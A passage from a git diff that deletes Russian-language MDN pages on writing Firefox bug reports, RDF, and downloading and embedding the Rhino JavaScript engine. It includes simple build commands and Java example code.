-<p>Если вы создаете багрепорт об <strong>использовании оперативной памяти или об утечке памяти</strong>, пожалуйста <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance/about:memory">приложите текст страницы about:memory</a>. Было бы замечательно, найдите шаги приводящие к увеличению памяти отображаемой в about:memory (наблюдаемое даже после нажатия кнопки "Минимизировать расход памяти" ("Minimize memory usage")). Если вы не можете вычисли шаги для воспроизведения, попробуйте изучить страницу поддержки Firefox, которая называется <a href="http://support.mozilla.com/en-US/kb/High%20memory%20usage">Высокий расход памяти</a>. Если вы являетесь разработчиком C++, то вам доступны <a class="link-https" href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance">более точные инструменты</a>.</p>
-
-<p>Если вы создаете багрепорт о  <strong>низкой производительности или высокой загрузке ЦПУ</strong>, пожалуйста <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance/Reporting_a_Performance_Problem">предоставьте ссылку на профиль производительности</a>.</p>
-
-<p>Если вы создаете багрепорт об <strong>ошибке связанной с конкретной веб страницей</strong>, пожалуйста попытайтесь создать <a href="https://developer.mozilla.org/en-US/docs/Reducing_testcases">небольшай тестовый пример</a> и прикрепите его к багрепорту. Если у вас нет времени или достаточных знаний, пожалуйста сообщите об ошибке по адресу <a href="https://webcompat.com/">webcompat.com</a>, где наши добровольцы помогут вам.</p>
-
-<p>Если вы создаете багрепорт об ошибке связанной с <strong>зависанием Flash</strong>, пожалуйста посетите <a href="https://wiki.mozilla.org/Flash/Hang_Debugging">https://wiki.mozilla.org/Flash/Hang_Debugging</a> для того чтобы изучить как собрать полезную для разработчиков информацию.</p>
-
-<p>Если баг <strong>появился недавно</strong>, использование специального <a href="http://quality.mozilla.org/docs/bugzilla/guide-to-triaging-bugs-for-firefox/finding-a-regression-window/">окна регресса</a> может помочь определить причину ошибки.</p>
-
-<p><a href="http://www.chiark.greenend.org.uk/%7Esgtatham/bugs.html#intermittent">Что если мой баг выглядит "случайным" или "появляющимся время от времени"?</a></p>
-
-<h3 id="Большинство_ошибок_Firefox">Большинство ошибок Firefox</h3>
-
-<p>Вы должны предоставлять нижеследующую информация для большинства багов Firefox.</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Что следует включать в багрепорт?</th>
- <th>Пример</th>
- </tr>
- <tr>
- <td>Сообщите можете ли вы воспроизвести проблему в <a href="https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles">новом профиле Firefox</a> и любые изменения которые нужно сделать в профиле для того что проблема появилась.</td>
- <td>Проблема воспроизводится в новом профиле, но только если включена настройка Настройки -&gt; Безопасность -&gt; Сообщать сайтам что я не хочу чтобы меня отслеживали.</td>
- </tr>
- <tr>
- <td>Если ошибку получается воспроизвести только в вашем существующем профиле попытайтесь определить <a href="https://support.mozilla.org/en-US/kb/troubleshoot-extensions-themes-to-fix-problems">настройки, расширения</a>, или <a href="http://support.mozilla.com/en-US/kb/Profiles">файлы в вашем профиле</a> необходимые для воспроизведения бага. Если вы не можете этого сделать и хотите пропустить этот шаг, пожалуйста <a href="https://support.mozilla.org/en-US/kb/use-troubleshooting-information-page-fix-firefox">сохраните информацию со страницы about:support</a> в файл и прикрепите к багрепорту.</td>
- <td>Баг не воспроизводится в новом профиле, информация с about:support для проблемного профиля прикреплена.</td>
- </tr>
- <tr>
- <td>
- <p>Сообщите если проблема воспроизводится в <a href="https://nightly.mozilla.org/">последней ночной сборке</a>. Включите <strong>Идентификатор сборки (Build ID)</strong> со страницы <a href="https://support.mozilla.org/en-US/kb/use-troubleshooting-information-page-fix-firefox">about:support</a>.</p>
-
- <p>Если возможно, протестируйте используя новый профиль Firefox. Если требуется протестировать ночную сборку с проблемным профилем, рекомендуется сначала сделать <a href="https://support.mozilla.org/en-US/kb/back-and-restore-information-firefox-profiles">резервную копию профиля</a>, так как ночная сборка может разрушить целостность данных профиля.</p>
- </td>
- <td>Проблема воспроизводится в последней ночной сборке (Build ID 20150331030204).</td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<div class="originaldocinfo">
-<h2 id="Информация_об_исходном_документе">Информация об исходном документе:</h2>
-
-<ul>
- <li>Автор(ы): Jesse Ruderman, Gervase Markham</li>
- <li>Другие контрибьюторы: Eli Goldberg, Claudius Gayle, Jan Leger, Felix Miata, Peter Mock, Chris Pratt, Chris Yeh, and others.</li>
-</ul>
-</div>
-
-<p> </p>
-
-<hr>
-<h2 id="Продвинутые_темы">Продвинутые темы</h2>
-
-<h3 id="Finding_the_correct_product_and_component" name="Finding_the_correct_product_and_component"><strong style="font-weight: bold;">Поиск правильного продукта и компонента</strong></h3>
-
-<p>Для каждого бага вам нужно выбирать правильный "продукт" и "компонент" в этом продукте, для того чтобы ваш багрепорт получил разработчик которому он предназначен.</p>
-
-<p>Если вы используете Firefox, баг находится скорее всего в компонетах "Firefox", "Toolkit", или "Core".</p>
-
-<ul>
- <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Firefox">Список компонентов продукта "Firefox"</a> - большинство компонентов Firefox с которыми вы непосредственно взаимодействуете</li>
- <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Toolkit">Список компонентов продукта "Toolkit"</a> - виджеты интерфейса и некоторые другие функции интерфейса</li>
- <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Core">Список компонентов продукта "Core"</a> - отрисовка веб станиц, сетевые функции и др.</li>
-</ul>
-
-<p>Если сомневаетесь, найдите похожие баги и посмотрите к каким они отнесены компонентам.</p>
-
-<p>Если ни один компонент не выглядит подходящим, взгляните на компонент "General" который есть у большинства продуктов.</p>
-
-<h3 id="Общая_структура_багрепорта">Общая структура багрепорта</h3>
-
-<div class="note">
-<p>Эта статья была перенесена сюда из <a href="https://wiki.mozilla.org/QA/QMO">QMO</a>: <a class="link-https" href="https://quality.mozilla.org/docs/bugzilla/starter-kit/how-to-write-a-proper-bug/">Как писать понятные багрепорты</a></p>
-</div>
-
-<ul>
- <li><strong>Название</strong>: Как бы вы описали ошибку используя не более 60 символов? Название должно кратко и однозначно давать представление в чем проблема, а не описывать предложенное вами решение. Хорошо: "Отмена диалога копирования фалов приводит к падению файлового менеджера" Плохо: "Программа падает" Плохо: "Браузер должен работать с моим сайтом"</li>
- <li><strong>Компонент</strong>: В какой части приложения происходит ошибка? Это поле является обязательным для всех багрепортов. Кликните по слову "Component" чтобы увидеть описание каждого компонента. Если нет ничего подходящего, выбирайте компонент "General".</li>
- <li><strong>ОС</strong>: В какой операционной системе (ОС) вы обнаружили эту проблему? (т.е. Linux, Windows XP, Mac OS X.) Пример: "<em>Если вы уверены что этот баг проявляется больше чем на одной ОС выбирайте All. Если вашей ОС нет в списке выбирайте Other".</em></li>
- <li><strong>Описание</strong>: Подробности проблемы включающие:
- <ul>
- <li><u>Обзор</u>: это более подробно переформулированное название бага. Например: <em>"Перетаскивание любой страницы приводит к падению сборок для Mac в функции NSGetFactory"</em>.</li>
- <li><u>Идентификатор сборки (Build Id)</u>: Чтобы найти идентификатор либо откройте страницу "about:support" через строку адреса или, если у вас есть расширение <a href="https://addons.mozilla.org/en-US/firefox/addon/nightly-tester-tools/">Nightly Tester Tools</a> от MozQA, тогда проследуйте в Инструменты | Nightly Tester Tools и найдите опцию которая содержит идентификатор сборки. Выглядит примерно так: <em>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0 ID:20150330004006 CSet: 9e57e9776571"</em>.</li>
- <li><u>Дополнительные сборки и платформы</u>: воспроизводится ли баг на других платформах (или браузерах, если это имеет смысл). Должно выглядеть как то так: <em>"Не происходит на Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0 ID:20150330004006 CSet: 9e57e9776571"</em>.</li>
- </ul>
- </li>
- <li><strong>Шаги для воспроизведения</strong>: Минимально-необходимое и простое описание шагов которые приводят к появлению бага. Если необходимо, включите необходимые шаги настройки приложения. Хороший пример:<br>
- 1) Взгляните на веб страницу. (Я использовал http://www.google.com/).<br>
- 2) Выделите текст при помощи перетаскивания. Конкретно, удерживая клавишу мыши, тащите указатель мыши вниз из любой точки содержимого веб страницы к самому низу страницы.</li>
- <li><strong>Фактические результаты</strong>: Что происходит после выполнения шагов. Пример: <em>Приложение падает.</em></li>
- <li><strong>Ожидаемый результат</strong>: Что приложение должно сделать. Пример: <em>Окно должно скроллироваться вниз. Промотанное содержимое должно выделяться. Как минимум, приложение не должно падать!</em></li>
-</ul>
-
-<p>Дальшейшее чтение <a href="http://quality.mozilla.org/docs/bugzilla/starter-kit/how-to-write-a-proper-bug-part-2/">Как написать понятный баг репорт Часть 2</a></p>
-
-<div class="originaldocinfo">
-<h4 id="Информация_об_исходном_документе_2">Информация об исходном документе</h4>
-
-<ul>
- <li>Автор(ы): Aakash Desai</li>
- <li>Дата последнего изменения: June 3, 2013 at 2:41 am PST</li>
-</ul>
-</div>
-</div>
diff --git a/files/ru/rdf/index.html b/files/ru/rdf/index.html
deleted file mode 100644
index cebc30f276..0000000000
--- a/files/ru/rdf/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: RDF
-slug: RDF
-tags:
- - RDF
-translation_of: Archive/Web/RDF
----
-<p>
-</p>
-<div>
-<p><b>Инфраструктура описания ресурсов (Resource Description Framework, RDF)</b> - это семейство спецификаций, описывающих модели метаданных. Эта технология разработана консорциумом W3C (World Wide Web Consortium). Как правило, она реализуется как приложение формата XML.
-</p><p>Модель метаданных RDF основана на идее making statements о ресурсах в форме выражения состоящего из трёх частей, и называемого triple в терминологии RDF. Эти три части - subject (субъект, подлежащее), predicate (предикат, сказуемое) и object (объект, дополнение). В роли субъекта выступает ресурс, описываемая сущность. Предикатом выступает характерная черта или особенность ресурса, и часто описывает взаимоотношения между субъектом и объектом. В качестве объекта может выступать объект взаимоотношения или значение свойства, описываемого предикатом. {{ Ref("one") }}
-</p>
-</div>
-<table class="topicpage-table">
-<tbody><tr><td>
-<h4 id=".D0.94.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0.D1.86.D0.B8.D1.8F" name=".D0.94.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0.D1.86.D0.B8.D1.8F"> <a>Документация</a> </h4>
-<dl><dt> <a href="ru/XTech_2005_Presentations/Directions_of_the_Mozilla_RDF_engine">Направления развития движка RDF в продуктах Mozilla: презентация</a>
-</dt><dd> <small>Эта презентация демонстрирует основные направления развития движка RDF, разрабытаваемого в рамках проекта mozilla.org. Рассмотрены планы об использовании RDF API для публикации web-контента, а таже вопросы производительности и корректности реализации.</small>
-</dd></dl>
-<dl><dt> <a class="external" href="http://www.xml.com/pub/a/2001/01/24/rdf.html">Что такое RDF</a>
-</dt><dd> <small>Введение в инфраструктуру описания ресурсов от Tim Bray, на сайте <a class="external" href="http://www.xml.com">XML.com</a>.</small>
-</dd></dl>
-<dl><dt> <a href="ru/RDF_in_Mozilla_FAQ">RDF in Mozilla FAQ</a>
-</dt><dd> <small>Часто спрашиваемые вопросы о RDF в Mozilla.</small>
-</dd></dl>
-<dl><dt> <a href="ru/RDF_in_Fifty_Words_or_Less">RDF in Fifty Words or Less</a>
-</dt><dd> <small>Быстрое введение в Инфраструктуру описания ресурсов.</small>
-</dd></dl>
-<dl><dt> <a href="ru/RDF_Datasource_How-To">RDF Datasource How-To</a>
-</dt><dd> <small>Документ в формате книги рецептов, описывающий как создавать источники данных на стороне клиента, которые работают с реализацией RDF от проекта Mozilla.</small>
-</dd></dl>
-<dl><dt> <a href="ru/Aggregating_the_In-Memory_Datasource">Aggregating the In-Memory Datasource</a>
-</dt><dd> <small>Использование агрегирования с источниками данных, находящихся в оперативной памяти компьютера, используя технологию <a href="ru/XPCOM">XPCOM</a>.</small>
-</dd></dl>
-<p><span class="alllinks"><a>Просмотреть всё...</a></span>
-</p>
-</td>
-<td>
-<h4 id=".D0.A1.D0.BE.D0.BE.D0.B1.D1.89.D0.B5.D1.81.D1.82.D0.B2.D0.BE" name=".D0.A1.D0.BE.D0.BE.D0.B1.D1.89.D0.B5.D1.81.D1.82.D0.B2.D0.BE"> Сообщество </h4>
-<ul><li> Просмотерть форумы Mozilla...
-</li></ul>
-<p>{{ DiscussionList("dev-tech-rdf", "mozilla.dev.tech.rdf") }}
-</p>
-<ul><li> <a class="external" href="http://www.ilrt.bris.ac.uk/discovery/rdf-dev/">Рассылка RDF-Dev</a>
-</li></ul>
-<h4 id=".D0.98.D0.BD.D1.81.D1.82.D1.80.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D1.8B" name=".D0.98.D0.BD.D1.81.D1.82.D1.80.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D1.8B"> Инструменты </h4>
-<ul><li> <a class="external" href="http://planetrdf.com/guide/#sec-tools">RDF: редакторы и утилиты</a>
-</li><li> <a class="external" href="http://www.w3.org/RDF/Validator/">RDF Validator</a>
-</li></ul>
-<h4 id=".D0.A1.D0.B2.D1.8F.D0.B7.D0.B0.D0.BD.D0.BD.D1.8B.D0.B5_.D1.82.D0.B5.D0.BC.D1.8B" name=".D0.A1.D0.B2.D1.8F.D0.B7.D0.B0.D0.BD.D0.BD.D1.8B.D0.B5_.D1.82.D0.B5.D0.BC.D1.8B"> Связанные темы </h4>
-<dl><dd> <a href="ru/XML">XML</a>
-</dd></dl>
-</td></tr></tbody></table>
-<p><span class="comment">Categories</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p><p><br>
-</p>{{ languages( { "de": "de/RDF", "es": "es/RDF", "fr": "fr/RDF", "it": "it/RDF", "ja": "ja/RDF", "ko": "ko/RDF", "pl": "pl/RDF", "pt": "pt/RDF", "en": "en/RDF" } ) }}
diff --git a/files/ru/rhino/documentation/index.html b/files/ru/rhino/documentation/index.html
deleted file mode 100644
index 98686fb771..0000000000
--- a/files/ru/rhino/documentation/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: Rhino documentation
-slug: Rhino/Documentation
-tags:
- - Rhino
-translation_of: Mozilla/Projects/Rhino/Documentation
----
-<p>Сведения о Rhino для разработчиков скриптов и приложений.</p>
-
-<h2 id="General" name="General">Главное</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Rhino/Overview" title="Rhino_Overview">Обзор</a></dt>
- <dd>Обзор языка  JavaScript и Rhino.</dd>
- <dt><a href="/en-US/docs/Rhino/License" title="Rhino_License">Лицензия</a></dt>
- <dd>Информация о лицензии Rhino.</dd>
- <dt><a href="/en-US/docs/Rhino/Requirements_and_Limitations" title="Rhino_Requirements_and_Limitations">Требования и ограничения</a></dt>
- <dd>Что необходимо, чтобы запустить Rhino; чего не может делать Rhino.</dd>
- <dt><a href="/en-US/docs/Rhino/Downloads_archive" title="Rhino_downloads_archive">Загрузка архива</a></dt>
- <dd>Включает комментарии к выпуску для Rhino</dd>
- <dt><a href="/en-US/docs/Rhino/Optimization" title="Rhino_Optimization">Оптимизация</a></dt>
- <dd>Подробная информация о различных уровнях оптимизации.</dd>
- <dt><a href="/en-US/docs/Rhino/FAQ" title="Rhino_FAQ">FAQ</a></dt>
- <dd>Ответы на частые вопросы о Rhino.</dd>
- <dt><a href="/en-US/docs/Rhino/History">История Rhino</a></dt>
- <dd>История зверя.</dd>
-</dl>
-
-<h2 id="Writing_Scripts" name="Writing_Scripts">Написание скриптов</h2>
-
-<dl>
- <dt><a class="internal" href="/en-US/docs/Scripting_Java" title="Scripting Java">Java в скриптах</a></dt>
- <dd>Как использовать  Rhino, чтобы  в скриптах задействовать  классы Java.</dd>
- <dt><a class="external" href="http://www.mozilla.org/rhino/scriptjava.html">Java в скриптах</a></dt>
- <dd>How to use Rhino to script Java classes (an older treatment).</dd>
- <dt><a href="/en-US/docs/Rhino/Performance">Советы по улучшению производительности</a></dt>
- <dd>Некоторые советы по написанию быстрого кода JavaScript.</dd>
-</dl>
-
-<h2 id="JavaScript_Tools" name="JavaScript_Tools">Инструменты JavaScript</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Rhino/Shell" title="Rhino_Shell">Оболочка Rhino</a></dt>
- <dd>Интерактивное или пакетное выполнение скриптов.</dd>
- <dt><a href="/en-US/docs/Rhino/Debugger">Отладчик JavaScript</a></dt>
- <dd>Отладка скриптов, запущенных в Rhino.</dd>
- <dt><a href="/en-US/docs/Rhino/JavaScript_Compiler" title="Rhino_JavaScript_Compiler">Компилятор JavaScript</a></dt>
- <dd>Компиляция скриптов в файлы классов Java.</dd>
- <dt><a href="/en-US/docs/Running_the_Rhino_tests" title="Running_the_Rhino_tests">Запуск тестов Rhino</a></dt>
- <dd>Запуск тестов JavaScript с Rhino.</dd>
-</dl>
-
-<h2 id="Embedding_Rhino" name="Embedding_Rhino">Встраивание Rhino</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Rhino/Embedding_tutorial">Руководство по теме</a></dt>
- <dd>Краткое руководство по встраиванию Rhino в приложение.</dd>
- <dt><a class="external" href="http://mozilla.github.io/rhino/javadoc/index.html">Справочник по API Javadoc </a> (Link broken?  <a href="http://www.jarvana.com/jarvana/view/org/mozilla/rhino/1.7R3/rhino-1.7R3-javadoc.jar!/index.html" title="http://www.jarvana.com/jarvana/view/org/mozilla/rhino/1.7R3/rhino-1.7R3-javadoc.jar!/index.html">Try this at Jarvana.</a>)</dt>
- <dd>An annotated outline of the programming interface to Rhino (tip only).</dd>
- <dt><a href="/en-US/docs/Rhino/Scopes_and_Contexts" title="https://developer.mozilla.org/editor/fckeditor/core/editor/en-US/docs/Rhino_documentation/Scopes_and_Contexts">Области видимости и контекстыs</a></dt>
- <dd>Describes how to use scopes and contexts for the best performance and flexibility, with an eye toward multithreaded environments.</dd>
- <dt><a href="/en-US/docs/Rhino/Serialization">Сериализация</a></dt>
- <dd>Как выполнить сериализацию объектов и функций JavaScript  в Rhino.</dd>
- <dt><a href="/en-US/docs/Rhino/Runtime">Runtime</a></dt>
- <dd>A brief description of the JavaScript runtime.</dd>
- <dt><a href="/en-US/docs/Rhino/Footprint">Small Footprint</a></dt>
- <dd>Hints for those interested in small-footprint embeddings.</dd>
- <dt><a href="/en-US/docs/Rhino/Examples">Примеры</a></dt>
- <dd>Набор примеров того, как контролировать движок JavaScript и собирать объекты хоста JavaScript.</dd>
- <dt><a href="/en-US/docs/Rhino/BSF">Использование Rhino вместе с h Bean Scripting Framework (BSF)</a></dt>
- <dd>Как использовать Rhino вместе с приложениями, поддерживающими BSF (Bean Scripting Framework) из проекта Apache Jakarta.</dd>
-</dl>
-
-<h2 id="External_references" name="External_references">Внешние ссылки</h2>
-
-<dl>
- <dt><a class="external" href="http://www.ociweb.com/jnb/archive/jnbMar2001.html">Скриптовые языки для Java</a></dt>
- <dd>Статья сравнивает и противопоставляет Rhino и Jython.</dd>
-</dl>
-
-<h2 id="Rhino_contributors" name="Rhino_contributors">Авторы Rhino</h2>
-
-<p>Interested in contributing to Rhino? Check out the <a href="/en-US/docs/Rhino_Wish_List" title="Rhino_Wish_List">Rhino Wish List</a>.</p>
diff --git a/files/ru/rhino/download_rhino/index.html b/files/ru/rhino/download_rhino/index.html
deleted file mode 100644
index d6b61aee73..0000000000
--- a/files/ru/rhino/download_rhino/index.html
+++ /dev/null
@@ -1,106 +0,0 @@
----
-title: ска́чивание Rhino
-slug: Rhino/Download_Rhino
-translation_of: Mozilla/Projects/Rhino/Download_Rhino
----
-<p>Rhino можно загрузить как в виде исходного кода, так и в виде скомпилированной библиотеки.</p>
-
-<h2 id="Библиотека_в_двоичном_коде">Библиотека в двоичном коде</h2>
-
-<p>Последняя версия библиотеки Rhino - 1.7R4.</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Release</th>
- <th scope="col">Дата освобождения</th>
- <th scope="col">Информация о выпуске</th>
- <th scope="col">Ссылка на скачивание</th>
- </tr>
- <tr>
- <td>Rhino 1.7R4</td>
- <td>2012-06-18</td>
- <td><a href="/En/New_in_Rhino_1.7R4" title="En/New_in_Rhino_1.7R4">New in Rhino 1.7R4</a></td>
- <td><a class="link-https" href="https://github.com/downloads/mozilla/rhino/rhino1_7R4.zip" title="https://github.com/downloads/mozilla/rhino/rhino1_7R4.zip">rhino1_7R3.zip</a></td>
- </tr>
- <tr>
- <td>Rhino 1.7R5</td>
- <td>2015-01-29</td>
- <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7R5_RELEASE">Информация о выпуске</a></td>
- <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7R5_RELEASE/rhino1_7R5.zip">rhino1_7R5.zip</a></td>
- </tr>
- <tr>
- <td>Rhino 1.7.6</td>
- <td>2015-04-15</td>
- <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_6_RELEASE">Информация о выпуске</a></td>
- <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_6_RELEASE/rhino1.7.6.zip">rhino1.7.6.zip</a></td>
- </tr>
- <tr>
- <td>Rhino 1.7.7</td>
- <td>2015-06-17</td>
- <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_7_RELEASE">Информация о выпуске</a></td>
- <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_7_RELEASE/rhino1.7.7.zip">rhino1.7.7.zip</a></td>
- </tr>
- <tr>
- <td>Rhino 1.7.7.1</td>
- <td>2016-02-01</td>
- <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_7_1_RELEASE">Информация о выпуске</a></td>
- <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_7_1_RELEASE/rhino-1.7.7.1.zip">rhino1.7.7.1.zip </a></td>
- </tr>
- <tr>
- <td>Rhino 1.7.7.2</td>
- <td>2017-08-24</td>
- <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_7_2_Release">Информация о выпуске</a></td>
- <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_7_2_Release/rhino-1.7.7.2.zip">rhino1.7.7.2.zip </a></td>
- </tr>
- <tr>
- <td>Rhino 1.7.8</td>
- <td>2018-01-22</td>
- <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_8_Release">Информация о выпуске</a></td>
- <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_8_Release/rhino-1.7.8.zip">rhino1.7.8.zip</a></td>
- </tr>
- <tr>
- <td>Rhino 1.7.9</td>
- <td>2018-03-15</td>
- <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_9_Release">Информация о выпуске</a></td>
- <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_9_Release/rhino-1.7.9.zip">rhino1.7.9.zip</a></td>
- </tr>
- <tr>
- <td>Rhino 1.7.10</td>
- <td>2018-04-09</td>
- <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_10_Release">Информация о выпуске</a></td>
- <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_10_Release/rhino-1.7.10.zip">rhino1.7.10.zip</a></td>
- </tr>
- <tr>
- <td>Rhino 1.7.11</td>
- <td>2019-05-30</td>
- <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_11_Release">Информация о выпуске</a></td>
- <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_11_Release/rhino-1.7.11.zip">rhino1.7.11.zip</a></td>
- </tr>
- <tr>
- <td>Rhino 1.7.12</td>
- <td>2020-01-13</td>
- <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_12_Release">Информация о выпуске</a></td>
- <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_12_Release/rhino-1.7.12.zip">rhino1.7.12.zip</a></td>
- </tr>
- </tbody>
-</table>
-
-<p>Если требуются более старые версии библиотеки, ищите их в <a class="external" href="/en/docs/Rhino_downloads_archive" title="en/docs/Rhino_downloads_archive">Архиве hino версий Rhino.</a></p>
-
-<h2 id="Лицензия">Лицензия</h2>
-
-<p>Rhino открыт (open source). Начиная с версии 1.7R4, Rhino распространяется с лицензией <a class="external" href="http://www.mozilla.org/MPL/">MPL</a> 2.0.</p>
-
-<p>Предыдущие версии распространяются с лицензией MPL 1.1/GPL 2.0.</p>
-
-<p>Дополнительная информация о <a href="/en/Rhino/License" title="en/Rhino license">Лицензиях Rhino</a>.</p>
-
-<h2 id="Исходный_код_библиотеки">Исходный код библиотеки</h2>
-
-<p>В дополнении к исходному коду, который находится в ранее указанном zip-файле, исходный код Rhino можно найти в github-е на странице проекта <a class="link-https" href="https://github.com/mozilla/rhino">https://github.com/mozilla/rhino</a>. Для того, чтобы загрузить код используйте команду</p>
-
-<pre class="code">git clone https://github.com/mozilla/rhino.git
-</pre>
-
-<p>Для сборки Rhino используется <a class="ex-ref external" href="http://ant.apache.org/">Ant</a>. Запуск команды <code>ant</code> в корневом каталоге дистрибутива Rhino, по идее, распечатывает список имеющихся подсистем сборки (build targets).</p>
diff --git a/files/ru/rhino/embedding_tutorial/index.html b/files/ru/rhino/embedding_tutorial/index.html
deleted file mode 100644
index eb56c3050c..0000000000
--- a/files/ru/rhino/embedding_tutorial/index.html
+++ /dev/null
@@ -1,302 +0,0 @@
----
-title: 'Руководство: Внедрение кода Rhino'
-slug: Rhino/Embedding_tutorial
-translation_of: Mozilla/Projects/Rhino/Embedding_tutorial
----
-<p>Внедрение кода Rhino простое но тем не менее приводит к хорошему результату. <span id="result_box" lang="ru"><span>Приложив больше усилии к embedder,  исполняемые сценарии могут быть настроены дополнительно.</span></span></p>
-
-<p><span lang="ru"><span>В этом руководстве по шагово мы рассмотрим способы от простого сценария внедрения кода до сложного. Примеры кода будут соправождать нас в процессе изучения. </span></span></p>
-
-<p>Примеры можно найти в папках дистрибутива <code>rhino/examples</code>   и cvs  сервере по адресу <code>mozilla/js/rhino/examples</code>.  В этом руководстве мы будем ссылатся на эти примеры посредством <a href="http://lxr.mozilla.org/">lxr</a>.</p>
-
-<p> JavaScript код будет помечен зеленым, Java код так же будет помечен зеленым<span class="java_js_code">,</span> и shell logs будет отмечен пурпурным.</p>
-
-<h2 id="Содержание">Содержание:</h2>
-
-<ul class="toc">
- <li><a href="#runScript">RunScript: A simple embedding</a>
-
- <ul>
- <li><a href="#enteringContext">Entering a Context</a></li>
- <li><a href="#initializing">Initializing standard objects</a></li>
- <li><a href="#collecting">Collecting the arguments</a></li>
- <li><a href="#evaluating">Evaluating a script</a></li>
- <li><a href="#print">Printing the result</a></li>
- <li><a href="#exit">Exiting the Context</a></li>
- </ul>
- </li>
- <li><a href="#expose">Expose Java APIs</a>
- <ul>
- <li><a href="#useJava">Using Java APIs</a></li>
- <li><a href="#implementingInterfaces">Implementing interfaces</a></li>
- <li><a href="#addJava">Adding Java objects</a></li>
- </ul>
- </li>
- <li><a href="#usingJSObjs">Using JavaScript objects from Java</a>
- <ul>
- <li><a href="#usingJSvars">Using JavaScript variables</a></li>
- <li><a href="#callingJSfuns">Calling JavaScript functions</a></li>
- </ul>
- </li>
- <li><a href="#javaScriptHostObjects">JavaScript host objects</a>
- <ul>
- <li><a href="#definingHostObjects">Defining Host Objects</a></li>
- <li><a href="#counter">Counter example</a>
- <ul>
- <li><a href="#counterCtors">Counter's constructors</a></li>
- <li><a href="#classname">Class name</a></li>
- <li><a href="#dynamic">Dynamic properties</a></li>
- <li><a href="#definingMethods">Defining JavaScript "methods"</a></li>
- <li><a href="#addingCounter">Adding Counter to RunScript</a></li>
- </ul>
- </li>
- </ul>
- </li>
-</ul>
-
-<h2 id="RunScript_Простой_пример"><a id="runScript" name="runScript">RunScript: Простой пример</a></h2>
-
-<p>Возможно самый простой пример внедрения Rhino вы найдете здесь <a href="https://dxr.mozilla.org/mozilla/source/js/rhino/examples/RunScript.java">RunScript example</a>. Он считывает строку параметра, который должен быть фрагментом js-кода, запускает код и выводит результат.</p>
-
-<p>Ниже приведен данный пример. Используйте команду RunScript в командной строке консоли:</p>
-
-<pre class="code shell_logs_code">$ java RunScript "Math.cos(Math.PI)"
--1
-$ java RunScript "function f(x){return x+1} f(7)"
-8
-</pre>
-
-<p>Примечание: Rhino классы и класс RunScript должны быть прописаны в classpath. Let's step through the body of <code>main</code> one line at time.</p>
-
-<h3 id="Entering_a_Context"><a id="enteringContext" name="enteringContext">Entering a Context</a></h3>
-
-<p>The code</p>
-
-<pre class="code java_js_code">Context cx = Context.enter();
-</pre>
-
-<p>Creates and enters a <code>Context</code>. A <code>Context</code> stores information about the execution environment of a script.</p>
-
-<h3 id="Initializing_standard_objects"><a name="initializing">Initializing standard objects</a></h3>
-
-<p>The code</p>
-
-<pre class="code java_js_code">Scriptable scope = cx.initStandardObjects();
-</pre>
-
-<p>Initializes the standard objects (<code>Object</code>, <code>Function</code>, etc.) This must be done before scripts can be executed. The <var>null</var> parameter tells <code>initStandardObjects</code> to create and return a scope object that we use in later calls.</p>
-
-<h3 id="Collecting_the_arguments"><a id="collecting" name="collecting">Collecting the arguments</a></h3>
-
-<p>This code is standard Java and not specific to Rhino. It just collects all the arguments and concatenates them together.</p>
-
-<pre class="code java_js_code">String s = "";
-for (int i=0; i &lt; args.length; i++) {
- s += args[i];
-}
-</pre>
-
-<h3 id="Evaluating_a_script"><a id="evaluating" name="evaluating">Evaluating a script</a></h3>
-
-<p>The code</p>
-
-<pre class="code java_js_code">Object result = cx.evaluateString(scope, s, "&lt;cmd&gt;", 1, null);
-</pre>
-
-<p>uses the Context <code>cx</code> to evaluate a string. Evaluation of the script looks up variables in <var>scope</var>, and errors will be reported with the filename <code>&lt;cmd&gt;</code> and line number 1.</p>
-
-<h3 id="Printing_the_result"><a id="print" name="print">Printing the result</a></h3>
-
-<p>The code</p>
-
